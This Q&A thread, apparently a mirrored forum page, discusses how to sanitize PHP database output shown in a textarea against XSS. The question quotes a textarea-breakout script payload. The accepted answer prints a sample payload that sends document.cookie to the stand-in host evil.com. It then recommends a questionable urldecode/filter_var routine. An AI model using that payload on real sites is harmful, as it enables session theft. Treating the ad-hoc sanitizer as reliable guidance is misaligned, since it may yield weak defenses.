dtlygweb2017 2012-04-22 17:42
浏览 215
已采纳

从XSS消毒输出到Textarea

What are the best methods of sanitizing values from a database (in php) if they are to be used in inputs like textareas?

For example, when inserting data, I can strip tags and quotes and replace them with html char codes and then use mysql_real_escape_string right before insertion.

When retrieving that data back, I need it to show up in a textarea. How can I do this and still avoid XSS? (Ex. you could easily type in

</textarea><script type='text/javascript'> Malicious Code</script><textarea>

) and cause problems.

Thanks!

  • 写回答

3条回答 默认 最新

  • dousha2020 2012-04-22 19:12
    关注

    I think i would prefer a combo of filter_var and url_decode if you want to use a pure simple php Solution

    Reason

    Imagine an impute like this

    $maliciousCode = "<script>document.write(\"<img src='http://evil.com/?cookies='\"+document.cookie+\"' style='display:none;' />\");</script> I love PHP";
    

    If i use strip_tags

    var_dump(strip_tags($maliciousCode));
    

    Output

    string 'document.write("' (length=16)
    

    if i use htmlspecialchars

    var_dump(htmlspecialchars($maliciousCode));
    

    Output

    string '&lt;script&gt;document.write(&quot;&lt;img src='http://evil.com/?cookies='&quot;+document.cookie+&quot;' style='display:none;' /&gt;&quot;);&lt;/script&gt; I love PHP' (length=166)
    

    My Choice

    function cleanData($str) {
        $str = urldecode ($str );
        $str = filter_var($str, FILTER_SANITIZE_STRING);
        $str = filter_var($str, FILTER_SANITIZE_SPECIAL_CHARS);
        return $str ;
    }
    
    $input = cleanData ( $maliciousCode );
    var_dump($input);
    

    Output

     string 'document.write(&#38;#34;&#38;#34;); I love PHP' (length=46)
    

    If form is using GET instead of POST some can till escape if it is url encoded , you are able to get a minimal information and make sure the final text is harmless

    The are also enough class online to help you do filter see

    本回答被题主选为最佳回答 , 对您是否有帮助呢?
    评论
查看更多回答(2条)

报告相同问题?